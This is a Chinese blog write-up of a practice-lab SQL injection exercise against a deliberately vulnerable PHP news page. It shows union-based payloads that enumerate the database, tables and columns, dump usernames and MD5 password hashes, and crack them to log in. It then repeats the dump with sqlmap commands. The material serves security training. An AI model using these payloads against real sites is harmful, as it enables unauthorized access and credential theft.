首页 > 数据库 >墨者学院sql手工测试记录

墨者学院sql手工测试记录

时间:2024-01-09 10:04:27浏览次数:36  
标签:http 手工 StormGroup list youIP sql new id 墨者

免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

一:思路

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

流程

掌握SQL注入原理;

了解手工注入的方法;

了解MySQL的数据结构;

了解字符串的MD5加解密;

二:方法

方法一:手工注入

1. 开启靶场进入环境后发现一个登陆页面。(原以为此页面有注入点,各种尝试最终无疾而终,在查看源码时发现存在一个新的URL)


首页:

墨者学院sql手工测试记录_Group

墨者学院sql手工测试记录_Group_02

首页源码:

墨者学院sql手工测试记录_字段_03

新的URL连接:

墨者学院sql手工测试记录_php_04

  • 通过题目我们可以看出靶场环境是Nginx+PHP+MySQL
  • 那我们现在启动、进入靶场
  • 进入靶场后我们可以看到是一个登录界面,但可以发现登录框下面有一个轮播提示新闻

找注入点

  1. 我们试着点进去看
  2. 我们点进去后,可以看到URL栏上存在一个?id=1,这里表示存在一个GET传参

墨者学院sql手工测试记录_字段_05

  1. 要知道,SQL注入得核心是用户输入得内容被当作代码去执行
  2. 那我们现在来尝试一下,这里传参的是否输入可以被当作代码执行
  3. 这里我输入 and 1=1 网页没变,输入 and 1=2网页变了,这里就说明存在SQL注入漏洞

墨者学院sql手工测试记录_Group_06

墨者学院sql手工测试记录_字段_07


  1. 竟然知道存在SQL注入,那么就开始下面内容
  2. 要知道数据库有多个字段,有的数据会显示,而有的数据不会显示,这是开发所决定的,而我们接下来要用到union联合查询(而使用联合查询的条件是两条查询语句的字段数必须相同),所以我们也要知道这个网页交互的所在数据库表里有多少个字段。
  3. 这里可以得出总结:我们要知道有多少个字段,然后显示位在哪个字段
  4. 那么按照正常的SQL注入来走,就是使用 order by先获得字段数是多少,然后再使用union联合查询来找出显示位

墨者学院sql手工测试记录_Group_08

  1. 这里我们就跳过重复的过程
  2. 到了 order by 5 页面报错,这里说明有4个字段


http://youIP/new_list.php?id=1  order by 4

墨者学院sql手工测试记录_字段_09

墨者学院sql手工测试记录_Group_10

好了,知道有四个字段后,我们要找出字段显示位


这里要说明一下,数据库的特性是如果两条语句都为真,先执行前面的语句再执行后面的语句


union 和order by不同的是,使用union联合查询不管前面得语句是否为真都会执行后面的语句


但是说过了,数据库特性是先执行前面的语句,所以如果前面的为真就会把显示位给占了显示前面的内容


所以我们要把前面执行的弄回and 1=2 ,让前面的内容位错,而把后面的内容显示出来


我们使用select 1,2,3,4来看一下显示位是哪个字段


http://youIP/new_list.php?id=-1  union select 1,2,3,4

墨者学院sql手工测试记录_Group_11

  • 这里我们就知道显示位了
  • 在显示位3上使用database() 函数得到当前的数据库名(这里不管是显示位2,还是3,只要是输出位都可以)

爆库名


http://youIP/new_list.php?id=-1  union select 1,2,database(),4

数据库名:mozhe_Discuz_StormGroup

爆表

http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(table_name) ,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

表名:StormGroup_member,notice。(猜测第一个表是我们要的表)

墨者学院sql手工测试记录_php_12

爆列


http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(column_name) ,4 from information_schema.columns where table_name='StormGroup_member'

字段:id,name,password,status

墨者学院sql手工测试记录_php_13

爆字段

发现有两个账号,用户名都是mozhe,密码不一样。


http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(concat_ws('~',name,password)) ,4 from mozhe_Discuz_StormGroup.StormGroup_member

字段:mozhe~ 356f589a7df439f6f744ff19bb8092c0,mozhe~ c8e100ea135c6a8346b3e0747eb78060

MD5解密

解密第一个密码

墨者学院sql手工测试记录_php_14

墨者学院sql手工测试记录_php_15

发现这个账号密码别禁用了

墨者学院sql手工测试记录_php_16

解密第二个密码

墨者学院sql手工测试记录_字段_17

登录

墨者学院sql手工测试记录_Group_18

这个可以登陆进去,并且我们发现下面存在的KEY。

墨者学院sql手工测试记录_字段_19

方法二:工具注入(sqlmap)


爆数据库名和当前用户

sqlmap  -u "http://youIP/new_list.php?id=1" -b --current-db  --current-user

墨者学院sql手工测试记录_php_20

墨者学院sql手工测试记录_字段_21

爆表


sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -tables

墨者学院sql手工测试记录_Group_22

爆列


sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -T StormGroup_member  -columns

墨者学院sql手工测试记录_php_23

爆字段信息


sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -T StormGroup_member  -C name,password --dump

墨者学院sql手工测试记录_Group_24

标签:http,手工,StormGroup,list,youIP,sql,new,id,墨者
From: https://blog.51cto.com/zhuzhuxia/9156631

相关文章

  • SQLite
    SQLite是一个轻量级的数据库系统,常用于嵌入式系统和桌面应用程序。以下是使用SQLite的基本步骤:安装SQLite:首先,确保你的系统上安装了SQLite。大多数Linux发行版和macOS都预装了SQLite。对于Windows,你可以从SQLite的官方网站下载。打开数据库连接:在Python中,你可以使用sqlite3模块来与......
  • 使用mysql
    使用MySQL数据库需要以下步骤:安装MySQL:首先,你需要在你的系统上安装MySQL。你可以从MySQL的官方网站下载适用于各种操作系统的安装程序。启动MySQL服务:安装完成后,你需要启动MySQL服务。在Linux上,你可以使用以下命令:bashsudoservicemysqlstartsudoservicemysqlstart登录MySQL:......
  • Docker安装MySQL
    Docker安装MySQL和直接安装MySQL的区别如下1:资源开销:Docker方式的资源开销更大。Docker方式需要运行一个MySQL容器,并需要额外运行Docker引擎,所以总体占用更多资源。直接安装方式只需要运行MySQL服务,资源占用更小。隔离性:Docker方式隔离性更好。Docker可以将MySQL完全隔离在容器内,不......
  • mysql8.0全局变量持久化
    在MySQL数据库中,全局变量可以通过SETGLOBAL语句来设置。例如,设置服务器语句超时的限制,可以通过设置系统变量max_execution_time来实现:SETGLOBALMAX_EXECUTION_TIME=2000;使用SETGLOBAL语句设置的变量值只会临时生效,数据库重启后,服务器又会从MySQL配置文件中读取变量的默认值......
  • postgresql使用sql封装邮箱发送功能
    “ postgresql数据库支持python语言,同样可以封装一下python的邮件发送功能。        本文假设数据库中存有职员的花名册,对花名册进行遍历发送邮件。”01—数据库安装安装依赖yuminstall-ybisonflexreadline-develzlib-develzlibzlib-develgccgcc-c++openssl-d......
  • 在postgresql中用SQL封装python
    “ 对于一个数据库来说,SQL大家肯定最熟悉不过了。但是作为数据库开发者,我认为数据库不应该只是支持SQL语言。应该支持更多编程语言。比如python、java、c++等更多编程语言,让数据库在多种语言之间的管理、功能上实现最大便捷,这才是未来数据库最大的发展趋势。也是国产数据库在实现......
  • 如何对Azure Database for MySQL进行数据恢复
    如何对AzureDatabaseforMySQL进行数据恢复一般情况下,我们使用Azure中的PaaS数据库产品是时,我们不仅不用关心数据库底层的基础设施部署,同样也不用担心数据库的备份。在AzurePaaS数据库产品中,都内置了数据库备份的功能,作为用户而言,我们不需要为数据库备份这个功能付费,只需要对备......
  • Oracle 23C新特性——SQL防火墙(SQL Firewall)
    一、SQL防火墙功能简介SQL防火墙通过监控和阻止未经授权的SQL和SQL注入来工作。它内置了一系列规则,可以识别和阻止常见的SQL注入,如布尔型注入、报错注入、联合查询注入、堆叠查询注入等。此外,它还可以通过基于角色的访问控制(RBAC)来限制用户的访问权限,从而防止SQL注入。<br/>......
  • 轻松应对面试手撕SQL之TopN问题,数开面试必考系列二(社招校招均适用)
    社会主义打工人即将结束周末(加班一天)的愉快生活,只能说一个字:爽!实在没继续工作的状态,来给大家总结一道面试中大热门的面试题,可以说是top1的:TOPN问题。工作中也会经常遇到这样的业务问题:如何找到每个产品种类下用户最喜欢的产品是哪个?如果找到每个商品下用户点击最多的5个商品是什么?......
  • GaussDB(for MySQL)新特性TDE发布:支持透明数据加密
    本文分享自华为云社区《GaussDB(forMySQL)新特性TDE发布:支持透明数据加密》,作者:GaussDB数据库。技术背景为了保护数据的安全,我们可能通过防火墙、身份认证、安全权限控制、网络及端口访问控制、传输加密等多种方式对程序运行过程中的各个环节进行安全防控,但这些并不能保证数据静......